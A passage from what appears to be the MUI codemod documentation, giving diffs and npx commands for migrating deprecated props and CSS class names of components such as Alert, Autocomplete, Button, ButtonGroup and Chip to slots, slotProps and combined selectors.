'red',\n       },\n-      [`&.${alertClasses.outlinedSuccess}`]: {\n+      [`&.${alertClasses.outlined}.${alertClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.outlinedInfo}`]: {\n+      [`&.${alertClasses.outlined}.${alertClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.outlinedWarning}`]: {\n+      [`&.${alertClasses.outlined}.${alertClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.outlinedError}`]: {\n+      [`&.${alertClasses.outlined}.${alertClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.filledSuccess}`]: {\n+      [`&.${alertClasses.filled}.${alertClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.filledInfo}`]: {\n+      [`&.${alertClasses.filled}.${alertClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.filledWarning}`]: {\n+      [`&.${alertClasses.filled}.${alertClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.filledError}`]: {\n+      [`&.${alertClasses.filled}.${alertClasses.colorError}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiAlert-standardSuccess\n+.MuiAlert-standard.MuiAlert-colorSuccess\n-.MuiAlert-standardInfo\n+.MuiAlert-standard.MuiAlert-colorInfo\n-.MuiAlert-standardWarning\n+.MuiAlert-standard.MuiAlert-colorWarning\n-.MuiAlert-standardError\n+.MuiAlert-standard.MuiAlert-colorError\n-.MuiAlert-outlinedSuccess\n+.MuiAlert-outlined.MuiAlert-colorSuccess\n-.MuiAlert-outlinedInfo\n+.MuiAlert-outlined.MuiAlert-colorInfo\n-.MuiAlert-outlinedWarning\n+.MuiAlert-outlined.MuiAlert-colorWarning\n-.MuiAlert-outlinedError\n+.MuiAlert-outlined.MuiAlert-colorError\n-.MuiAlert-filledSuccess\n+.MuiAlert-filled.MuiAlert-colorSuccess\n-.MuiAlert-filledInfo\n+.MuiAlert-filled.MuiAlert-colorInfo\n-.MuiAlert-filledWarning\n+.MuiAlert-filled.MuiAlert-colorWarning\n-.MuiAlert-filledError\n+.MuiAlert-filled.MuiAlert-colorError\n```\n\n```bash\nnpx @mui/codemod@next deprecations/alert-classes <path>\n```\n\n#### `alert-props`\n\n```diff\n <Alert\n-  components={{ CloseButton: CustomButton }}\n-  componentsProps={{ closeButton: { testid: 'test-id' } }}\n+  slots={{ closeButton: CustomButton }}\n+  slotProps={{ closeButton: { testid: 'test-id' } }}\n />\n```\n\n```diff\n MuiAlert: {\n   defaultProps: {\n-    components: { CloseButton: CustomButton }\n-    componentsProps: { closeButton: { testid: 'test-id' }}\n+    slots: { closeButton: CustomButton },\n+    slotProps: { closeButton: { testid: 'test-id' } },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/alert-props <path>\n```\n\n#### `autocomplete-props`\n\n```diff\n <Autocomplete\n-  ChipProps={{ height: 10 }}\n-  PaperComponent={CustomPaper}\n-  PopperComponent={CustomPopper}\n-  ListboxComponent={CustomListbox}\n-  ListboxProps={{ height: 12 }}\n-  renderTags={(value, getTagProps, ownerState) =>\n-    value.map((option, index) => (\n-      <Chip label={option.label} {...getTagProps({ index })} />\n-    ))\n-  }\n-  componentsProps={{\n-    clearIndicator: { width: 10 },\n-    paper: { width: 12 },\n-    popper: { width: 14 },\n-    popupIndicator: { width: 16 },\n-  }}\n+  slots={{\n+    paper: CustomPaper,\n+    popper: CustomPopper\n+  }}\n+  slotProps={{\n+    chip: { height: 10 },\n+    listbox: {\n+        component: CustomListbox,\n+        ...{ height: 12 },\n+    },\n+    clearIndicator: { width: 10 },\n+    paper: { width: 12 },\n+    popper: { width: 14 },\n+    popupIndicator: { width: 16 },\n+  }}\n+  renderValue={(value, getItemProps, ownerState) =>\n+    value.map((option, index) => (\n+      <Chip label={option.label} {...getItemProps({ index })} />\n+    ))\n+  }\n />\n```\n\n```diff\n MuiAutocomplete: {\n   defaultProps: {\n-    ChipProps: { height: 10 },\n-    PaperComponent: CustomPaper,\n-    PopperComponent: CustomPopper,\n-    ListboxComponent: CustomListbox,\n-    ListboxProps: { height: 12 },\n-    renderTags: (value, getTagProps, ownerState) =>\n-      value.map((option, index) => (\n-        <Chip label={option.label} {...getTagProps({ index })} />\n-      )),\n-    componentsProps: {\n-       clearIndicator: { width: 10 },\n-       paper: { width: 12 },\n-       popper: { width: 14 },\n-       popupIndicator: { width: 16 },\n-     }\n+    slots: {\n+      paper: CustomPaper,\n+      popper: CustomPopper,\n+    },\n+    slotProps: {\n+      chip: { height: 10 },\n+      listbox: {\n+        component: CustomListbox,\n+        ...{ height: 12 },\n+      },\n+      clearIndicator: { width: 10 },\n+      paper: { width: 12 },\n+      popper: { width: 14 },\n+      popupIndicator: { width: 16 },\n+    },\n+    renderValue: (value, getItemProps, ownerState) =>\n+      value.map((option, index) => (\n+        <Chip label={option.label} {...getItemProps({ index })} />\n+      )),\n   },\n },\n```\n\n```diff\n <Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n-      InputProps={{\n-        ...params.InputProps,\n-        endAdornment: (\n-          <React.Fragment>\n-            {params.InputProps.endAdornment}\n-          </React.Fragment>\n-        ),\n-      }}\n+      slotProps={{\n+        ...params.slotProps,\n+        input: {\n+          ...params.slotProps.input,\n+          endAdornment: (\n+            <React.Fragment>\n+              {params.slotProps.input.endAdornment}\n+            </React.Fragment>\n+          ),\n+        },\n+      }}\n    />\n  )}\n />\n```\n\n```diff\n const {\n-  getTagProps,\n-  focusedTag,\n+  getItemProps,\n+  focusedItem,\n } = useAutocomplete(props);\n```\n\n```bash\nnpx @mui/codemod@next deprecations/autocomplete-props <path>\n```\n\n#### `avatar-group-props`\n\n```diff\n <AvatarGroup\n-  componentsProps={{\n-    additionalAvatar: { color: 'red' },\n+  slotProps={{\n+    surplus: { color: 'red' },\n   }}\n />\n```\n\n```diff\n <AvatarGroup\n   slotProps={{\n-    additionalAvatar: { color: 'red' },\n+    surplus: { color: 'red' },\n   }}\n />\n```\n\n```diff\n MuiAvatarGroup: {\n   defaultProps: {\n-    componentsProps: {\n-      additionalAvatar: { color: 'red' },\n+    slotProps: {\n+      surplus: { color: 'red' },\n     },\n   },\n },\n```\n\n```diff\n MuiAvatarGroup: {\n   defaultProps: {\n     slotProps: {\n-      additionalAvatar: { color: 'red' },\n+      surplus: { color: 'red' },\n     },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/avatar-group-props <path>\n```\n\n#### `avatar-props`\n\n```diff\n <Avatar\n-  imgProps={{\n-    onError: () => {},\n-    onLoad: () => {},\n+  slotProps={{\n+    img: {\n+      onError: () => {},\n+      onLoad: () => {},\n+    },\n   }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/avatar-props <path>\n```\n\n#### `backdrop-props`\n\n```diff\n <Backdrop\n-  components={{ Root: CustomRoot }}\n-  componentsProps={{ root: { testid: 'test-id' } }}\n+  slots={{ root: CustomRoot }}\n+  slotProps={{ root: { testid: 'test-id' } }}\n />\n```\n\n```diff\n MuiBackdrop: {\n   defaultProps: {\n-    components: { Root: CustomRoot }\n-    componentsProps: { root: { testid: 'root-id' } }\n+    slots: { root: CustomRoot },\n+    slotProps: { root: { testid: 'root-id' } },\n  },\n },\n```\n\n```diff\n <Backdrop\n-  TransitionComponent={CustomTransition}\n+  slots={{ transition: CustomTransition }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/backdrop-props <path>\n```\n\n#### `badge-props`\n\n```diff\n <Badge\n-  components={{ Root: CustomRoot }}\n-  componentsProps={{ root: { testid: 'test-id' } }}\n+  slots={{ root: CustomRoot }}\n+  slotProps={{ root: { testid: 'test-id' } }}\n />\n```\n\n```diff\n MuiBadge: {\n   defaultProps: {\n-    components: { Root: CustomRoot }\n-    componentsProps: { root: { testid: 'test-id' }}\n+    slots: { root: CustomRoot },\n+    slotProps: { root: { testid: 'test-id' } },\n  },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/badge-props <path>\n```\n\n#### `button-classes`\n\nJS transforms:\n\n```diff\n import { buttonClasses } from '@mui/material/Button';\n\n MuiButton: {\n   styleOverrides: {\n     root: {\n-      [`&.${buttonClasses.textInherit}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorInherit}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textPrimary}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSecondary}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSuccess}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textError}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textInfo}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textWarning}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedInherit}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorInherit}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedPrimary}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSecondary}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSuccess}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedError}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedInfo}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedWarning}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedInherit}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorInherit}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedPrimary}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSecondary}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSuccess}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedError}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorError}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedInfo}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedWarning}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSizeSmall}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.sizeSmall}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSizeMedium}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.sizeMedium}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.containedSizeLarge}`]: {\n+      [`&.${buttonClasses.contained}.${buttonClasses.sizeLarge}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSizeSmall}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.sizeSmall}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSizeMedium}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.sizeMedium}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.textSizeLarge}`]: {\n+      [`&.${buttonClasses.text}.${buttonClasses.sizeLarge}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSizeSmall}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.sizeSmall}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSizeMedium}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.sizeMedium}`]: {\n         color: 'red',\n       },\n-      [`&.${buttonClasses.outlinedSizeLarge}`]: {\n+      [`&.${buttonClasses.outlined}.${buttonClasses.sizeLarge}`]: {\n         color: 'red',\n       },\n-      [`& .${buttonClasses.iconSizeSmall}`]: {\n+      [`&.${buttonClasses.sizeSmall} > .${buttonClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${buttonClasses.iconSizeMedium}`]: {\n+      [`&.${buttonClasses.sizeMedium} > .${buttonClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${buttonClasses.iconSizeLarge}`]: {\n+      [`&.${buttonClasses.sizeLarge} > .${buttonClasses.icon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiButton-textInherit\n+.MuiButton-text.MuiButton-colorInherit\n-.MuiButton-textPrimary\n+.MuiButton-text.MuiButton-colorPrimary\n-.MuiButton-textSecondary\n+.MuiButton-text.MuiButton-colorSecondary\n-.MuiButton-textSuccess\n+.MuiButton-text.MuiButton-colorSuccess\n-.MuiButton-textError\n+.MuiButton-text.MuiButton-colorError\n-.MuiButton-textInfo\n+.MuiButton-text.MuiButton-colorInfo\n-.MuiButton-textWarning\n+.MuiButton-text.MuiButton-colorWarning\n-.MuiButton-outlinedInherit\n+.MuiButton-outlined.MuiButton-colorInherit\n-.MuiButton-outlinedPrimary\n+.MuiButton-outlined.MuiButton-colorPrimary\n-.MuiButton-outlinedSecondary\n+.MuiButton-outlined.MuiButton-colorSecondary\n-.MuiButton-outlinedSuccess\n+.MuiButton-outlined.MuiButton-colorSuccess\n-.MuiButton-outlinedError\n+.MuiButton-outlined.MuiButton-colorError\n-.MuiButton-outlinedInfo\n+.MuiButton-outlined.MuiButton-colorInfo\n-.MuiButton-outlinedWarning\n+.MuiButton-outlined.MuiButton-colorWarning\n-.MuiButton-containedInherit\n+.MuiButton-contained.MuiButton-colorInherit\n-.MuiButton-containedPrimary\n+.MuiButton-contained.MuiButton-colorPrimary\n-.MuiButton-containedSecondary\n+.MuiButton-contained.MuiButton-colorSecondary\n-.MuiButton-containedSuccess\n+.MuiButton-contained.MuiButton-colorSuccess\n-.MuiButton-containedError\n+.MuiButton-contained.MuiButton-colorError\n-.MuiButton-containedInfo\n+.MuiButton-contained.MuiButton-colorInfo\n-.MuiButton-containedWarning\n+.MuiButton-contained.MuiButton-colorWarning\n-.MuiButton-textSizeSmall\n+.MuiButton-text.MuiButton-sizeSmall\n-.MuiButton-textSizeMedium\n+.MuiButton-text.MuiButton-sizeMedium\n-.MuiButton-textSizeLarge\n+.MuiButton-text.MuiButton-sizeLarge\n-.MuiButton-outlinedSizeSmall\n+.MuiButton-outlined.MuiButton-sizeSmall\n-.MuiButton-outlinedSizeMedium\n+.MuiButton-outlined.MuiButton-sizeMedium\n-.MuiButton-outlinedSizeLarge\n+.MuiButton-outlined.MuiButton-sizeLarge\n-.MuiButton-containedSizeSmall\n+.MuiButton-contained.MuiButton-sizeSmall\n-.MuiButton-containedSizeMedium\n+.MuiButton-contained.MuiButton-sizeMedium\n-.MuiButton-containedSizeLarge\n+.MuiButton-contained.MuiButton-sizeLarge\n-.MuiButton-root .MuiButton-iconSizeSmall\n+.MuiButton-root.MuiButton-sizeSmall > .MuiButton-icon\n-.MuiButton-root .MuiButton-iconSizeMedium\n+.MuiButton-root.MuiButton-sizeMedium > .MuiButton-icon\n-.MuiButton-root .MuiButton-iconSizeLarge\n+.MuiButton-root.MuiButton-sizeLarge > .MuiButton-icon\n```\n\n```bash\nnpx @mui/codemod@next deprecations/button-classes <path>\n```\n\n#### `button-group-classes`\n\nJS transforms:\n\n```diff\n import { buttonGroupClasses } from '@mui/material/ButtonGroup';\n\n MuiButtonGroup: {\n   styleOverrides: {\n     root: {\n-      [`& .${buttonGroupClasses.groupedHorizontal}`]: {\n+      [`&.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedVertical}`]: {\n+      [`&.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedText}`]: {\n+      [`&.${buttonGroupClasses.text} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedTextHorizontal}`]: {\n+      [`&.${buttonGroupClasses.text}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedTextVertical}`]: {\n+      [`&.${buttonGroupClasses.text}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedTextPrimary}`]: {\n+      [`&.${buttonGroupClasses.text}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedTextSecondary}`]: {\n+      [`&.${buttonGroupClasses.text}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedOutlined}`]: {\n+      [`&.${buttonGroupClasses.outlined} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedOutlinedHorizontal}`]: {\n+      [`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedOutlinedVertical}`]: {\n+      [`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedOutlinedPrimary}`]: {\n+      [`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedOutlinedSecondary}`]: {\n+      [`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedContained}`]: {\n+      [`&.${buttonGroupClasses.contained} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedContainedHorizontal}`]: {\n+      [`&.${buttonGroupClasses.contained}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedContainedVertical}`]: {\n+      [`&.${buttonGroupClasses.contained}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedContainedPrimary}`]: {\n+      [`&.${buttonGroupClasses.contained}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n-      [`& .${buttonGroupClasses.groupedContainedSecondary}`]: {\n+      [`&.${buttonGroupClasses.contained}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`]: {\n          color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiButtonGroup-root .MuiButtonGroup-groupedHorizontal\n+.MuiButtonGroup-root.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedVertical\n+.MuiButtonGroup-root.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedText\n+.MuiButtonGroup-root.MuiButtonGroup-text > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedTextHorizontal\n+.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedTextVertical\n+.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedTextPrimary\n+.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedTextSecondary\n+.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlined\n+.MuiButtonGroup-root.MuiButtonGroup-outlined > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedHorizontal\n+.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedVertical\n+.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedPrimary\n+.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedSecondary\n+.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContained\n+.MuiButtonGroup-root.MuiButtonGroup-contained > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContainedHorizontal\n+.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContainedVertical\n+.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContainedPrimary\n+.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\n-.MuiButtonGroup-root .MuiButtonGroup-groupedContainedSecondary\n+.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\n```\n\n```bash\nnpx @mui/codemod@next deprecations/button-group-classes <path>\n```\n\n#### `card-header-props`\n\n```diff\n <CardHeader\n-  titleTypographyProps={{ variant: 'h6' }}\n-  subheaderTypographyProps={{ variant: 'body2' }}\n+  slotProps={{\n+    title: { variant: 'h6' },\n+    subheader: { variant: 'body2' }\n+  }}\n />\n```\n\n```diff\n MuiCardHeader: {\n   defaultProps: {\n-    titleTypographyProps: { variant: 'h6' },\n-    subheaderTypographyProps: { variant: 'body2' },\n+    slotProps: {\n+      title: { variant: 'h6' },\n+      subheader: { variant: 'body2' },\n+    },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/card-header-props <path>\n```\n\n#### `checkbox-props`\n\n```diff\n <Checkbox\n-  inputProps={{ 'aria-label': 'Checkbox' }}\n-  inputRef={ref}\n+  slotProps={{ input: { 'aria-label': 'Checkbox', ref } }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/checkbox-props <path>\n```\n\n#### `chip-classes`\n\nJS transforms:\n\n```diff\n import { chipClasses } from '@mui/material/Chip';\n\n  MuiChip: {\n   styleOverrides: {\n     root: {\n-      [`&.${chipClasses.clickableColorPrimary}`]: {\n+      [`&.${chipClasses.clickable}.${chipClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.clickableColorSecondary}`]: {\n+      [`&.${chipClasses.clickable}.${chipClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.deletableColorPrimary}`]: {\n+      [`&.${chipClasses.deletable}.${chipClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.deletableColorSecondary}`]: {\n+      [`&.${chipClasses.deletable}.${chipClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.outlinedPrimary}`]: {\n+      [`&.${chipClasses.outlined}.${chipClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.outlinedSecondary}`]: {\n+      [`&.${chipClasses.outlined}.${chipClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.filledPrimary}`]: {\n+      [`&.${chipClasses.filled}.${chipClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.filledSecondary}`]: {\n+      [`&.${chipClasses.filled}.${chipClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.avatarSmall}`]: {\n+      [`&.${chipClasses.sizeSmall} > .${chipClasses.avatar}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.avatarMedium}`]: {\n+      [`&.${chipClasses.sizeMedium} > .${chipClasses.avatar}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.avatarColorPrimary}`]: {\n+      [`&.${chipClasses.colorPrimary} > .${chipClasses.avatar}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.avatarColorSecondary}`]: {\n+      [`&.${chipClasses.colorSecondary} > .${chipClasses.avatar}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.iconSmall}`]: {\n+      [`&.${chipClasses.sizeSmall} > .${chipClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.iconMedium}`]: {\n+      [`&.${chipClasses.sizeMedium} > .${chipClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.iconColorPrimary}`]: {\n+      [`&.${chipClasses.colorPrimary} > .${chipClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.iconColorSecondary}`]: {\n+      [`&.${chipClasses.colorSecondary} > .${chipClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.labelSmall}`]: {\n+      [`&.${chipClasses.sizeSmall} > .${chipClasses.label}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.labelMedium}`]: {\n+      [`&.${chipClasses.sizeMedium} > .${chipClasses.label}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconSmall}`]: {\n+      [`&.${chipClasses.sizeSmall} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconMedium}`]: {\n+      [`&.${chipClasses.sizeMedium} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconColorPrimary}`]: {\n+      [`&.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconColorSecondary}`]: {\n+      [`&.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconOutlinedColorPrimary}`]: {\n+      [`&.${chipClasses.outlined}.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconOutlinedColorSecondary}`]: {\n+      [`&.${chipClasses.outlined}.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconFilledColorPrimary}`]: {\n+      [`&.${chipClasses.filled}.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconFilledColorSecondary}`]: {\n+      [`&.${chipClasses.filled}.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n     },\n   },\n  },\n\n```\n\nCSS transforms:\n\n```diff\n-.MuiChip-clickableColorPrimary\n+.MuiChip-clickable.MuiChip-colorPrimary\n-.MuiChip-clickableColorSecondary\n+.MuiChip-clickable.MuiChip-colorSecondary\n-.MuiChip-deletableColorPrimary\n+.MuiChip-deletable.MuiChip-colorPrimary\n-.MuiChip-deletableColorSecondary\n+.MuiChip-deletable.MuiChip-colorSecondary\n-.MuiChip-outlinedPrimary\n+.MuiChip-outlined.MuiChip-colorPrimary\n-.MuiChip-outlinedSecondary\n+.MuiChip-outlined.MuiChip-colorSecondary\n-.MuiChip-filledPrimary\n+.MuiChip-filled.MuiChip-colorPrimary\n-.MuiChip-filledSecondary\n+.MuiChip-filled.MuiChip-colorSecondary\n-.MuiChip-root .MuiChip-avatarSmall\n+.MuiChip-root.MuiChip-sizeSmall > .MuiChip-avatar\n-.MuiChip-root .MuiChip-avatarMedium\n+.MuiChip-root.MuiChip-sizeMedium > .MuiChip-avatar\n-.MuiChip-root .MuiChip-avatarColorPrimary\n+.MuiChip-root.MuiChip-colorPrimary > .MuiChip-avatar\n-.MuiChip-root .MuiChip-avatarColorSecondary\n+.MuiChip-root.MuiChip-colorSecondary > 